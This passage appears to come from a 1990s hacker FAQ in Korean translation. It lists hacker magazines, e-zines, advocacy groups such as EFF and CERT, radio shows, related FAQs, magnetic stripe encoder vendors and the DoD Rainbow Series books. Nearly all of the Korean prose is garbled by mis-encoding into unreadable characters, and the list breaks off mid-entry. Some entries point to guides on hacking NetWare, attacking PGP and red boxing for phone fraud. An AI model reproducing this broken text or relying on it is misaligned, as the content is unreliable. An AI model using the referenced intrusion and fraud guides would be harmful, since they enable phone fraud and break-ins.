[email protected] -- to send us a general message

Subscription Address: 2600 Subscription Dept

PO Box 752

Middle Island, NY 11953-0752

Letters and article submission address: 2600 Editorial Dept

PO Box 99

Middle Island, NY 11953-0099

Phone Number: (516)751-2600

Fax Number: (516)474-2677

Voice BBS: (516)473-2626

Subscriptions: United States: $21/yr individual, $50 corporate.

Overseas: $30/yr individual, $65 corporate.

Gray Areas

~~~~~~~~~~

Gray Area´Â ¹ý°ú µµ´ö¼ºÀÇ È¸»ö Àç´ë¸¦ Á¶»çÇÏ°í ³íÀïÀÇ ¼ÒÁö°¡ Àְųª, ºñÀ±¸®Àû ºÒ¹ýÀûÀÎ ÁÖ

Á¦¸¦ ´Ù·é´Ù. Gray Areas´Â ¿Ö ÇØÄ¿°¡ ÇØÅ·À» ÇÏ´ÂÁö Á¶»çÇÏ°í ÀÏÅ»Àû ÇàÀ§ÀÇ »çȸÀû Ʋ·Î¼­ ÇØ

Å·À» ±ÔÁ¤ÇÑ´Ù.

E-Mail Address: [email protected]

E-Mail Address: [email protected]

U.S. Mail Address: Gray Areas

PO Box 808

Broomall, PA 19008

Subscriptions: $26.00 4 issues first class

$34.00 4 issues foreign (shipped air mail)

Privacy Newsletter

~~~~~~~~~~~~~~~~~~

Privacy Newsletter ´Â ¿ù°£ ´º½º·¹Æ®·Î µ¶ÀÚµé·Î ÇÏ¿©±Ý ¾î¶»°Ô ÇÁ¶óÀ̹ö½Ã¸¦ ¾ò°í À¯ÁöÇÏ´ÂÁö

¿¡ ´ëÇØ ¾Ë·ÁÁÖ´Â °ÍÀ» ¸ñÀûÀ¸·Î ÇÑ´Ù.

E-Mail Address: [email protected]

Subscription Address: Privacy Newsletter

P.O. Box 8206

Philadelphia, PA 19101-8206

Subscriptions: $99/yr (US) $149/yr (Overseas)

Wired

~~~~~

Subscription Address: [email protected]

or: Wired

PO Box 191826

San Francisco, CA 94119-9866

Letters and article submission address: [email protected]

or: Wired

544 Second Street

San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)

Nuts & Volts

~~~~~~~~~~~~

T& L Publications

430 Princeland Court

Corona, CA 91719

(800)783-4624 (Voice) (Subscription Only Order Line)

(909)371-8497 (Voice)

(909)371-3052 (Fax)

CIS: 74262,3664

Cybertek: The Cyberpunk Technical Journal

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

P.O. Box 64

Brewster, NY 10509

Frequency: Bimonthly

Domestic Subscription Rate: $15/year (6 issues)

PrivateLine

~~~~~~~~~~~

5150 Fair Oaks Blvd. #101-348

Carmichael, CA 95608 USA

E-Mail: [email protected]

Subscriptions: $24 a year for six issues

Text of back issues are at the etext archive at Michigan. Gopher over

or ftp to: etext.archive.umich.edu/pub/Zines/PrivateLine


ÇØÄ¿¿¡°Ô °ü½É°¡´Â e-zine(ÀüÀÚÀâÁö)´Â ¹«¾ùÀΰ¡?

CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo

Empire Times ftp.etext.org /pub/Zines/Emptimes

FEH ftp.fc.net /pub/defcon/FEH

The Infinity Concept infonexus.com

/pub/Philes/Zines/TheInfinityConcept

Phrack ftp.fc.net /pub/phrack


ÇØÄ¿¿¡°Ô °ü½É°¡´Â ±â°üÀº ¹«¾ùÀΰ¡?

Computer Professionals for Social Responsibility (CPSR)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CPSRÀº ÄÄÇ»ÅÍ Àü¹®°¡¿Í ÄÄÇ»ÅÍ »ç¿ëÀÚ°¡ Á¤º¸ ±â¼úÀ» »ç¿ëÇÏ´Â µ¥ ´ëÇÑ Ã¥ÀÓÀ» ºÎ¿©ÇÏ°í ÄÄÇ»Å͸¦ ÀÌ¿ëÇÏ´Â ¸ðµç »ç¶÷ÀÌ °ø°ø ³íÀï¿¡ Âü¿©Çϵµ·Ï ÇÑ´Ù. ±â¼úÀûÀÎ Àü¹®°¡·Î¼­ CPSR ȸ¿øÀº Àιΰú Á¤Ã¥ÀÔ¾ÈÀÚ¿¡°Ô ±Ç·Â°ú °ø¾à ±×¸®°í ÄÄÇ»ÅÍ ±â¼úÀÇ Á¦ÇÑ»çÇ× µî¿¡ ´ëÇÑ ½ÇÁ¦ÀûÀÎ Æò°¡¸¦ Á¦°øÇÑ´Ù. ÀǽÄÀÖ´Â ½Ã¹ÎÀÇ ±â°üÀ¸·Î¼­ CPSRÀº °ø°øÀÇ °ü½ÉÀ» ÄÄÇ»ÅÍÀÇ ÀÀ¿ë¿¡ ´ëÇÑ ºñÆÇÀûÀÎ ¼±Åðú ±× ¼±ÅÃÀÌ »çȸ¿¡ ¹ÌÄ¡´Â ¿µÇâÀ¸·Î µ¹¸°´Ù. ¹®Á¦°¡ ¾ø´Â ±â¼úÀû Á¤º¸¿Í Á¤Ã¥ °³¹ß ³ëÇϿ츦 ºñ±³ÇÏ¿© CPSRÀº ÃÖ¼ÒÇÑÀÇ ºñ¿ëÀ¸·Î ÃÖ´ëÀÇ È¿°ú¿Í ±â¼ú Á¤Ã¥ÀÇ Çü¼º¿¡ ´ëÇØ ±¤¹üÀ§ÇÑ °ø°øÀÇ Âü¿©¸¦ ÃËÁøÇÑ´Ù. ¼öÇàÇÏ´Â ÇÁ·ÎÁ§Æ®´Â ´ÙÀ½°ú °°Àº 5 °¡Áö ¿øÄ¢¿¡ ±âÀÎÇÑ´Ù.

* ±â¼ú¸¸À¸·Î Á¤Ä¡Àû »çȸÀû ¹®Á¦¸¦ ÇØ°áÇÒ ¼ö ÀÖ´Ù´Â °¡Á¤¿¡ µµÀüÇÑ´Ù.

* ºñÆÇÀûÀ¸·Î ÄÄÇ»ÅÍ¿¡¼­ÀÇ »çȸ¿Í ±â¼ú ¹®Á¦¸¦ °ËÅäÇÑ´Ù.

* »îÀÇ ÁúÀ» ³ôÀÌ´Â µ¥ ÄÄÇ»ÅÍ ±â¼úÀÇ ÀÌ¿ëÀ» ±ÇÀåÇÑ´Ù.

CPSR Membership Categories

75 REGULAR MEMBER

50 Basic member

200 Supporting member

500 Sponsoring member

1000 Lifetime member

20 Student/low income member

50 Foreign subscriber

50 Library/institutional subscriber

CPSR National Office

P.O. Box 717

Palo Alto, CA 94301

415-322-3778

415-322-3798 (FAX)

E-mail: [email protected]

Electronic Frontier Foundation (EFF)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Electronic Frontier Foundation (EFF)Àº ÄÄÇ»ÅÍ ±â¹Ý Åë½ÅÀÇ ÀÚÀ¯¿Í °ø°³¼ºÀÇ ¹ßÀü½Ãų ¼ö

ÀÖ´Â Á¤Ã¥À̳ª È°µ¿À» Ãß±¸ÇÑ´Ù. ȸ¿ø¿¡ ÀÇÇØ ¿î¿µµÇ°í, ºñ¿µ¸® ´Üü·Î¼­ Á¤º¸È­ ½Ã´ë¿¡¼­ »õ»õ·Î¿î °ø°ø ÀÌÀÍ Áý´ÜÀÌ ÇÊ¿äÇÏ´Ù´Â ½Å³ä¿¡¼­ ³ª¿Ô´Ù. ÀÌ´Â ÀÌ ±â°ü(Áý´Ü)ÀÌ »õ·Î¿î ÄÄÇ»ÅÍ Åë½Å ±â¼úÀÇ ¹ÎÁÖÀûÀÎ ÀáÀç·ÂÀ» º¸È£ÇÏ°í È®ÀåÇÏ´Â °Í¿¡ ¸ñÀûÀÌ ÀÖ´Ù´Â °ÍÀÌ´Ù. ½ÃÀÛºÎÅÍ, EFF´Â ±â¼úÀû, ¹ý·üÀû °ø°ø Á¤Ã¥ÀÇ Àü¹®¼ºÀ» °áÇÕÇÏ´Â ±â°üÀÌ¸ç ±×¸®°í ÀÌ·¯ÇÑ ±â¼úÀ» »õ·Î¿î Åë½Å ¸Åü°¡ ź»ýÇÒ ¶§¸¶´Ù ¹ß»ýÇÏ´Â ´Ù¾çÇÑ ¹®Á¦¿Í °ü½É¿¡ Àû¿ëÇÑ´Ù. ȸ¿øºñ´Â ÇлýÀº $20.00/³â À̸ç Á¤±Ô ȸ¿øÀÇ °æ¿ì $40.00/³â ÀÌ°í ±â°ü ȸ¿øÀº $100.00/³âÀÌ´Ù.

The Electronic Frontier Foundation, Inc.

1001 G Street, NW

Suite 950 East

Washington, D.C. 20001

(202)544 9237

(202)547 5481 FAX

Internet: [email protected]

Free Software Foundation (FSF) and GNU

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Free Software Foundation Àº »ç¶÷µéÀÌ ÄÄÇ»ÅÍ ÇÁ·Î±×·¥À» ÀÌ¿ë, º¹»ç, º¯°æ, Àç¹èÆ÷ÇÏ´Â ±Ç¸®¿¡ ´ëÇÑ Á¦ÇÑÀ» Á¦°ÅÇÏ´Â µ¥ ¸ñÀûÀ» µÐ´Ù. ÄÄÇ»Å͸¦ ÀÌ¿ëÇÏ´Â ¸ðµç ºÐ¾ß¿¡¼­ ¹«·á ¼ÒÇÁÆ®¿þ¾îÀÇ »ç¿ë°ú °³¹ßÀ» µ½´Â´Ù. ƯÈ÷, "GNU" ("GNU's Not Unix", "±×´©"¶ó°í ¹ßÀ½)¶ó´Â Unix¿Í À§·Î ȣȯ¼ºÀ» °¡Áö´Â ÀÚü·Î ¿Ïº®ÇÏ°í ÅëÇÕµÈ ¼ÒÇÁÆ®¿þ¾î¸¦ ¸¸µç´Ù. ÀÌ ½Ã½ºÅÛÀÇ ´ëºÎºÐÀº ÀÌ¹Ì »ç¿ëµÇ°í ¹èÆ÷µÇ°í ÀÖ´Ù. "¹«·á"¶ó´Â ´Ü¾î´Â ÀÚÀ¯¸¦ ÀǹÌÇÏÁö °¡°ÝÀÌ °øÂ¥¶ó´Â °ÍÀº ¾Æ´Ï´Ù. GNU ¼ÒÇÁÆ®¿þ¾î¸¦ ¾ò±â À§Çؼ­ µ·À» ÁöºÒÇϰųª ÁöºÒÇÏÁö ¾ÊÀ» ¼ö ÀÖ´Ù. ±×·¯³ª, ÀÏ´Ü ±×°ÍÀ» ÀÔ¼öÇÏ¸é µÎ°¡Áö ƯÁ¤ ÀÚÀ¯¸¦ °¡Áö°Ô µÈ´Ù. ù°, ÇÁ·Î±×·¥À» º¹»çÇؼ­ Ä£±¸³ª µ¿·á¿¡°Ô ÁÙ ¼ö ÀÖ´Ù. µÑ°, ¼Ò½º Äڵ忡 ¿ÏÀüÈ÷ Á¢±ÙÀÌ °¡´ÉÇϹǷΠ¼ÒÇÁÆ®¿þ¾î¸¦ ¿øÇϴ´ë·Î º¯°æÇÒ ¼ö ÀÖ´Ù. ¼Ò½º¸¦ ¿¬±¸ÇÏ°í ¾î¶»°Ô ±×·¯ÇÑ ¼ÒÇÁÆ®¿þ¾î¸¦ ÀÛ¼ºÇÏ´ÂÁö¿¡ ´ëÇؼ­ ¹è¿ï ¼ö ÀÖ´Ù. ÇÁ·Î±×·¥À» Æ÷Æ®ÇÏ°í Çâ»óÇÏ°í º¯°æµÈ °ÍÀ» ´Ù¸¥ »ç¶÷°ú °øÀ¯ÇÒ ¼ö ÀÖ´Ù. GNU ¼ÒÇÁÆ®¿þ¾î¸¦ Àç¹èÆ÷ÇÒ ¶§, ¹èÆ÷¿¡ ´ëÇÑ ºñ¿ëÀ» ¹°¸®°Å³ª ¾Æ´Ï¸é °øÂ¥·Î ÁÙ ¼ö ÀÖ´Ù. ÀÌ ¶§ GPL(GNU General Public License)¿Í ¼Ò½º Äڵ带 Æ÷ÇÔÇØ¾ß ÇÑ´Ù.

Free Software Foundation, Inc. Telephone: +1-617-876-3296

673 Massachusetts Avenue Fax: +1-617-492-9057

Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD)

Electronic mail: [email protected] 0066-3382-0158 (IDC)

GNU´Â »ç¿ëÀÚ°¡ ÄÄÇ»Å͸¦ ÀÌ¿ëÇÏ´Â µ¥ ¿Ïº®ÇÑ ÅëÇÕ ÄÄÇ»Æà ȯ°æÀ» °®Ãß·ÁÇÑ´Ù. »ç¹«½ÇÀ̳ª °¡Á¤¿¡¼­ »ç¿ëÇÏ´Â ÇÁ·Î±×·¡¸ÓÀÌ´ø ¾Æ´Ï¸é ÀÏ¹Ý »ç¿ëÀÚÀ̵簣¿¡. ÇÙ½ÉÀº ¿î¿µÃ¼Á¦·Î ÄÄÇ»ÅÍ¿¡¼­ ´Ù¸¥ ÇÁ·Î±×·¥ÀÌ ¼öÇàÇÒ ¼ö ÀÖµµ·Ï ÇÏ´Â Ä¿³ÎÀ̶ó°í ºÒ¸®¿ì´Â Áß¾Ó ÇÁ·Î±×·¥À¸·Î ±¸¼ºµÇ¾î ÀÖ´Ù. ±×¸®°í ÆÄÀÏÀ» ó¸®ÇÒ ¼ö ÀÖ´Â ºÎÂ÷ÀûÀÎ ¸¹Àº ¼öÀÇ ÇÁ·Î±×·¥µéÀÌ ÀÖ´Ù. Free Software FoundationÀº Hurd¶ó°í ºÒ¸®´Â Áøº¸µÈ Ä¿³ÎÀ» °³¹ßÇÏ°í ÀÖ´Ù. ¿Ïº®ÇÑ Ã¼°è´Â ÄÄÆÄÀÏ·¯¿Í µð¹ö°Å¿Í °°Àº ÇÁ·Î±×·¡¸Ó¸¦ À§ÇÑ µµ±¸¸¦ °¡Áø´Ù. ¶ÇÇÑ ÆÝÁý±â, ½ºÄÉÄ¡Æеå, Ä®·£´õ, °è»ê±â, ½ºÇÁ·¡µå½¬Æ®, µ¥ÀÌÅͺ£À̼­, ÀüÀÚ ¿ìÆí ¸®´õ¿Í ÀÎÅÍ³Ý ³×ºñ°ÔÀÌÆ® µîµµ Æ÷ÇÔÇÑ´Ù. FSF´Â ÀÌ¹Ì ¿î¿µÃ¼Á¦¿¡¼­ »ç¿ëµÇ´Â ´ëºÎºÐÀÇ ÇÁ·Î±×·¥, ÇÁ·Î±×·¡¸ÓµéÀÌ ÀÚÁÖ »ç¿ëÇÏ´Â ¸ðµç µµ±¸¿Í ±× ÀÌ»óÀ» Á¦°øÇÏ°í ÀÖ´Ù.

The League for Programming Freedom (LPF)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

League for Programming FreedomÀº "look and feel" ÀúÀÛ±Ç ÀçÆÇÀ» ÅëÇØ °øÅë À¯Àú ÀÎÅÍÆäÀ̽ºÀ» µ¶Á¡ÇÏ·Á´Â ½Ãµµ¿¡ ´ëÇØ ¹Ý´ëÇÏ´Â »ç¶÷µéÀÇ ±â°üÀÌ´Ù. À̵é Áß ÀϺδ ÇÁ·Î±×·¡¸Ó·Î ÀÚ½ÅÀÇ ÀÛ¾÷À» ¹æÇØÇÒÁöµµ ¸ð¸£´Â µ¶Á¡¿¡ ´ëÇØ °ÆÁ¤ÇÏ°í ÀÖ´Ù. ¶Ç ´Ù¸¥ ÀϺδ ÀڽŵéÀÌ ¾Ë°í ÀÖ´Â ÀÎÅÍÆäÀ̽º¿Í ȣȯÀÌ µÇ´Â »õ·Î¿î ÄÄÇ»ÅÍ ½Ã½ºÅÛÀ» ¿øÇÑ´Ù. ¾î¶² ÀÌ´Â Richard P. Gabriel¿Í °°Àº ÄÄÇ»ÅÍ Çϵå¿þ¾î³ª ¼ÒÇÁÆ®¿þ¾î ȸ»çÀÇ Ã¢½ÃÀÚ³ª John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. Boyer ¿Í Patrick Winston°°Àº ±³¼ö³ª ¿¬±¸ÀÚµéÀÌ´Ù. "Look and feel" ÀçÆÇÀº »õ·Î¿î ÇüÅÂÀÇ °üÁÖµµÀÇ µ¶Á¡À» ÀÌÀü ¾î´À °Íº¸´Ù ±¤¹üÀ§ÇÏ°Ô ¸¸µé¾î ³½´Ù. ÀÌ·¯ÇÑ ÇüÅÂÀÇ »ç¿ëÀÚ ÀÎÅÍÆäÀ̽º ü°è ÀúÀÛ±ÇÀº

lawsuits aim to create a new class of government-

enforced monopolies broader in scope than ever before. Such a system

of user-interface copyright would impose gratuitous incompatibility,

reduce competition, and stifle innovation.

ÀÌ·¯ÇÑ ¹®Á¦¸¦ »ç¿ëÀÚ ÀÎÅÍÆäÀ̽º ÀúÀÛ±ÇÀ» ¸·À½À¸·Î¼­ ÇØ°áÇÏ·Á ÇÑ´Ù. 1986³â ±îÁöÀÇ ÀúÀ۱ǹý¿¡ ÀÇÇÑ ÀúÀ۱ǿ¡ ´ëÇؼ­ ¹Ý´ëÇÏÁö´Â ¾Ê´Â´Ù. -- ƯÁ¤ ÇÁ·Î±×·¥¿¡ ´ëÇÑ ÀúÀÛ±Ç. ¸ñÇ¥´Â ±âÁ¸ÀÇ ÇÁ·Î±×·¥°ú °üÇà¿¡ µû¸¥ ÇÁ·Î±×·¥°ú ȣȯµÇ´Â »õ·Î¿î ÇÁ·Î±×·¥À» ÀÛ¼ºÇÒ ¼ö ÀÖ´Â ÇÁ·Î±×·¡¸ÓµéÀÇ ÀüÅëÀûÀÎ ÀÚÀ¯¸¦ ¹ÚÅ»ÇÏ´Â ÀúÀÛ±Ç Ã¼°èÀÇ º¯È­¸¦ ¸·À¸·Á´Â °ÍÀÌ´Ù. Á÷¾÷ÀÌ ÀÖ´Â Àü¹®°¡ÀÇ °æ¿ì $42ÀÇ °³ÀÎ ¿¬È¸¿øºñ°¡ ÀÖÀ¸¸ç ´Ù¸¥ »ç¶÷µéÀº $21ÀÌ´Ù. ¿îµ¿ÀÚ¿¡ ´ëÇØ °¨»çÇÑ´Ù. ±×¸®°í ½Ã°£À» ÅõÀÚÇÒ ¼ö ¾ø´Â ȸ¿øµµ ȯ¿µÇÑ´Ù. ¿¬¶ôÀº ÀüÈ­ (617) 243-4091, ¶Ç´Â ÀÎÅÍ³Ý ÀüÀÚ¿ìÆí [email protected], ¶Ç´Â ´ÙÀ½ ÁÖ¼Ò·Î ÆíÁö¸¦ ¾²±â ¹Ù¶õ´Ù.

League for Programming Freedom

1 Kendall Square #143

P.O. Box 9171

Cambridge, MA 02139 USA

SotMesc

~~~~~~~

1989¿¡ â¼³µÈ SotMesc´Â ÄÄÇ»ÅÍ »çȸÀÇ ÅëÇÕ°ú °á¼ÓÀ» À¯ÁöÇÏ´Â µ¥ ¸ñÀûÀ» µÐ´Ù. ÄÄÇ»ÅÍ ±³À°, ÀÚÀ¯ ±×¸®°í È¿À²¼ºÀ» ÃàÁøÇÏ¿© ¸ðµç ÄÄÇ»ÅÍ »ç¿ëÀÚ¿¡°Ô ÇÁ¶óÀ̹ö½Ã¸¦ À¯ÁöÇϸ鼭 ÀÚÀ¯¸¦ º¸ÀåÇÒ ¼ö ÀÖ´Ù°í ¹Ï´Â´Ù. SotMesc´Â CSP ÀÎÅÍ³Ý ¸ÞÀϸµ ¸®½ºÆ®¸¦ ¿î¿µÇÏ°í the SotMesc Scholarship Fund, and the SotMesc Newsletter¸¦ ¿î¿µÇÏ°í ÀÖ´Ù. SotMesc´Â ÀϺΠȸ¿øºñ·Î ÀçÁ¤À» Ãæ´çÇÏ°í ±âºÎ±ÝÀ¸·Î Àç¿øÀ» Ãæ´çÇÏÁö¸¸ ´ëºÎºÐÀº ÇØÅ·, Å©·¡Å·, ÇÁ¸®Å·, ÀüÀÚ°øÇÐ, ÀÎÅͳݰú ¹ÙÀÌ·¯½º Á¤º¸ ±×¸®°í µð½ºÅ©³»ÀÇ ÇÁ·Î±×·¥°ú ¸¹Àº Àμ⠸Åü¸¦ ÆǸÅÇÔÀ¸·Î¼­ Ãæ´çÇÑ´Ù. SotMesc ȸ¿øºñ´Â ÇлýÀº $20ÀÌ°í Á¤±Ô ȸ¿øÀº $40ÀÌ´Ù.

SotMESC

P.O. Box 573

Long Beach, MS 39560

Computer Emergency Response Team (CERT)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CERT ´Â Computer Emergency Response Team À¸·Î Defense Advanced Research Projects

Agency (DARPA)¿¡ ÀÇÇØ 1988³â 12¿ù ÀÎÅÍ³Ý ¿ú»ç°ÇÀ» °è±â·Î ±× Çʿ伺ÀÌ ´ëµÎµÇ¾î ¼³¸³µÇ¾ú´Ù. CERT ÀÓ¹«´Â ÀÎÅÍ³Ý °øµ¿Ã¼¿Í ÇÔ²² ÀÏÇÏ¿© ÀÎÅÍ³Ý È£½ºÆ®¿Ï ¿¬°üµÈ ÄÄÇ»ÅÍ º¸¾È »ç°Ç¿¡ ´ëÀÀÇÏ´Â ´É·ÂÀ» ±â¸£´Â °ÍÀ̸ç ÄÄÇ»ÅÍ »çȸ°¡ ÄÄÇ»ÅÍ º¸¾È ¹®Á¦¸¦ ÀνÄÇÏ´Â µ¥ ÁÖµ¶ÀûÀÎ ³ë·ÂÀ» ±â¿ïÀÌ°í, ÇöÁ¸ÇÏ´Â ½Ã½ºÅÛÀÇ º¸¾ÈÀ» Çâ»óÇÏ´Â µ¥ ¸ñÀûÀ» µÐ ¿¬±¸¸¦ ¼öÇàÇÏ´Â °Í¿¡ ÀÖ´Ù. CERT Á¦Ç°°ú ¼­ºñ½º¿¡´Â 24½Ã°£ ±â¼ú Áö¿øÀÌ ÀÖ¾î ÄÄÇ»ÅÍ º¸¾È »ç°£¿¡ ´ëÀÀÇÏ°í Á¦Ç° Ãë¾à¼º Áö¿ø, ±â¼úÀû ¹®¼­, ±×¸®°í ¼¼¹Ì³ª µîÀ» Æ÷ÇÔÇÑ´Ù. ¶ÇÇÑ, ÆÀ¿¡¼­´Â ¸¹Àº ¸ÞÀϸµ ¸®½ºÆ®(CERT advisory Æ÷ÇÔ)¸¦ ¿î¿µÇÏ°í anonymous FTP ¼­¹ö - cert.org(192.88.209.5)¸¦ ¿î¿µÇÏ¿© º¸¾È °ü·Ã ¹®¼­, ÀÌÀüÀÇ CERT advisory¹®¼­¿Í µµ±¸µéÀ» Á¦°øÇÏ°í ÀÖ´Ù.

CERT ¿¬¶ô Á¤º¸

U.S. mail address

CERT Coordination Center

Software Engineering Institute

Carnegie Mellon University

Pittsburgh, PA 15213-3890

U.S.A.

Internet E-mail address

[email protected]

Telephone number

(412)268-7090 (24-hour hotline)

CERT Coordination Center personnel answer

7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for

emergencies during other hours.

FAX number

(412)268-6989


ÇØÄ¿¿¡°Ô °ü½É°¡´Â ¶óµð¿À ÇÁ·Î±×·¥Àº ¹«¾ùÀΰ¡?

Off The Hook New York 99.5 FM Tue 8pm EST

Full Disclosure Live Short Wave WWCR 5065 khz Sun 8pm EST

Full Disclosure Live Oil City, PA WOYL AM-1340 Sun 8pm EST

Full Disclosure Live Satellite Telstar 302 (T2), Ch 21, 5.8 Sun 8pm EST




ÇØÄ¿¿¡°Ô °ü½É°¡´Â FAQ(frequentlry asked question)´Â¹«¾ùÀΰ¡?

Frequently Asked Questions "Hacking Novell Netware"

Author: Simple Nomad <[email protected]>

ftp: jumper.mcc.ac.uk /pub/security/netware/faq.zip

ftp: ftp.fastlane.net /pub/nomad/nw/faq.zip

ftp: ftp.best.com /pub/almcepud/hacks/faq.zip

http://resudox.net/bio/mainpage.html

http://www.hookup.net/~apayne/nwhack.html

The PGP Attack FAQ

Author: Route [[email protected] / [email protected]]

ftp: infonexus.com /pub/Philes/Cryptography/PGPattackFAQ.txt.gz

Mac Hack FAQ: Defeating Security

Author: AX1P ([email protected])

Frequently Asked Questions About Red Boxing

Author: Mr. Sandman ([email protected])

VMS FAQ (Frequently Ask Questions)

Author: The Beaver ([email protected])

Anonymous FTP FAQ

Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.

ftp: ftp.iss.net /pub/faq/anonftp

Compromise FAQ: What if your Machines are Compromised by an Intruder

Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.

ftp: ftp.iss.net /pub/faq/compromise

Security Patches FAQ

Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.

ftp: ftp.iss.net /pub/faq/patch

Sniffer FAQ

Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.

ftp: ftp.iss.net /pub/faq/sniff

Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches

Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.

ftp: ftp.iss.net /pub/faq/vendor

Cryptography FAQ

Author: The Crypt Cabal

ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

Firewalls FAQ

Author: Marcus J. Ranum ([email protected])

ftp: rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/

Buying a Used Scanner Radio

Author: [email protected] (Bob Parnass, AJ9S)

ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

How to Find Scanner Frequencies

Author: [email protected] (Bob Parnass, AJ9S)

ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Introduction to Scanning

Author: [email protected] (Bob Parnass, AJ9S)

ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Low Power Broadcasting FAQ

Author: Rick Harrison.

ftp: rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/

RSA Cryptography Today FAQ

Author: Paul Fahn

ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

VIRUS-L comp.virus Frequently Asked Questions (FAQ)

Author: Kenneth R. van Wyk <[email protected]>

ftp: rtfm.mit.edu /pub/usenet-by-group/comp.virus/

Where to get the latest PGP (Pretty Good Privacy) FAQ

Author: [email protected] (Michael Johnson)

ftp: rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/

alt.locksmithing answers to Frequently Asked Questions (FAQ)

Author: [email protected] (Joe Ilacqua)

ftp: rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/

comp.os.netware.security FAQ

Author: Fauzan Mirza <[email protected]>

ftp: rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/

rec.pyrotechnics FAQ

Author: [email protected] (Hans Josef Wagemueller)

ftp: rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/



ÀÚ±â¶ì(magnetic stripe)ÀÇ ÀÎÄÚ´õ(encoder)¿Í µðÄÚ´õ(decoder)´Â ¾îµð¼­ ±¸ÀÔÇϳª?

CPU Advance

PO Box 2434

Harwood Station

Littleton, MA 01460

(508)624-4819 (Fax)

Omron Electronics, Inc.

One East Commerce Drive

Schaumburg, IL 60173

(800)556-6766 (Voice)

(708)843-7787 (Fax)

Security Photo Corporation

1051 Commonwealth Avenue

Boston, MA 02215

(800)533-1162 (Voice)

(617)783-3200 (Voice)

(617)783-1966 (Voice)

Timeline Inc,

23605 Telo Avenue

Torrence, CA 90505

(800)872-8878 (Voice)

(800)223-9977 (Voice)

Alltronics

2300 Zanker Road

San Jose CA 95131

(408) 943-9774 Voice

(408) 943-9776 Fax

(408) 943-0622 BBS

Part Number: 92U067

Atalla Corp

San Jose, CA

(408) 435-8850




¹«Áö°³»ö Ã¥Àº ¹«¾ùÀÌ¸ç ¾îµð¼­ ±¸ÇÒ ¼ö ÀÖ³ª?

Orange Book

DoD 5200.28-STD

Department of Defense Trusted Computer System Evaluation Criteria

Green Book

CSC-STD-002-85

Department of Defense Password Management Guideline

Yellow Book

CSC-STD-003-85

Computer Security Requirements -- Guidance for Applying the Department

of Defense Trusted Computer System Evaluation Criteria in Specific

Environments

Yellow Book

CSC-STD-004-85

Technical Rationale Behind CSC-STD-003-85: Computer Security

Requirements. Guidance for Applying the Department of Defense Trusted

Computer System Evaluation Criteria in Specific Environments.

Tan Book

NCSC-TG-001

A Guide to Understanding Audit in Trusted Systems

Bright Blue Book

NCSC-TG-002

Trusted Product Evaluation - A Guide for Vendors

Neon Orange Book

NCSC-TG-003

A Guide to Understanding Discretionary Access Control in Trusted

Systems

Teal Green Book

NCSC-TG-004

Glossary of Computer Security Terms

Red Book

NCSC-TG-005

Trusted Network Interpretation of the Trusted Computer System

Evaluation Criteria

Orange Book

NCSC-TG-006

A Guide to Understanding Configuration Management in Trusted Systems

Burgundy Book

NCSC-TG-007

A Guide to Understanding Design Documentation in Trusted Systems

Dark Lavender Book

NCSC-TG-008

A Guide to Understanding Trusted Distribution in Trusted Systems

Venice Blue Book

NCSC-TG-009

Computer Security Subsystem Interpretation of the Trusted Computer

System Evaluation Criteria

Aqua Book

NCSC-TG-010

A Guide to Understanding Security Modeling in Trusted Systems

Dark Red Book

NCSC-TG-011

Trusted Network Interpretation Environments Guideline -- Guidance for

Applying the Trusted Network Interpretation

Pink Book

NCSC-TG-013

Rating Maintenance Phase -- Program Document

Purple Book

NCSC-TG-014

Guidelines for Formal Verification Systems

Brown Book

NCSC-TG-015

A Guide to Understanding Trusted Facility Management

Yellow-Green Book

NCSC-TG-016

Guidelines for Writing Trusted Facility Manuals

Light Blue

NCSC-TG-017

A Guide to Understanding Identification and Authentication in Trusted

Systems

Light Blue Book

NCSC-TG-018

A Guide to Understanding Object Reuse in Trusted Systems

Blue Book

NCSC-TG-019

Trusted Product Evaluation Questionnaire

Gray Book

NCSC-TG-020A

Trusted Unix Working Group (TRUSIX) Rationale for Selecting

Access Control List Features for the Unix System

Lavender Book

NCSC-TG-021

Trusted Data Base Management System Interpretation of the Trusted

Computer System Evaluation Criteria

Yellow Book

NCSC-TG-022

A Guide to Understanding Trusted Recovery in Trusted Systems

Bright Orange Book

NCSC-TG-023

A Guide to Understandng Security Testing and Test Documentation in

Trusted Systems

Purple Book

NCSC-TG-024 (Volume 1/4)

A Guide to Procurement of Trusted Systems: An Introduction to

Procurement Initiators on Computer Security Requirements

Purple Book

NCSC-TG-024 (Volume 2/4)

A Guide to Procurement of Trusted Systems: Language for RFP

Specifications and Statements of Work - An Aid to Procurement

Initiators

Purple Book

NCSC-TG-024 (Volume 3/4)

A Guide to Procurement of Trusted Systems: Computer Security Contract

Data Requirements List and Data Item Description Tutorial

+Purple Book

